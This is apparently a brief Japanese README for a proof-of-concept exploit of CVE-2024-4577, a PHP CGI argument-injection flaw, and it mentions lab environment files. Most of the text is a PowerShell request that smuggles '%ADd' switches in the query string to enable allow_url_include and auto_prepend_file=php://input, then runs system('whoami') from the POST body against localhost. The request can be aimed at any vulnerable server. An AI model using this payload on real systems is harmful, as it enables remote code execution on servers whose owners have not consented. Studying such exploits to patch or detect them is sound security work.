
CVE-2024-4577の概念実証エクスプロイト。PHP CGIの引数インジェクションの脆弱性を利用し、細工されたHTTPリクエストを介してリモートコード実行を可能にします。
CVE-2024-4577 環境構築ファイルおよびPHPファイル
--poc-- Invoke-WebRequest -Method POST `
-Headers @{"Content-Type" = "application/x-www-form-urlencoded"}
-Body "<?php system('whoami'); ?>"-Uri "http://localhost/test.php?%ADd+allow_url_include%3D1+%ADd+auto_prepend_ file%3Dphp://input"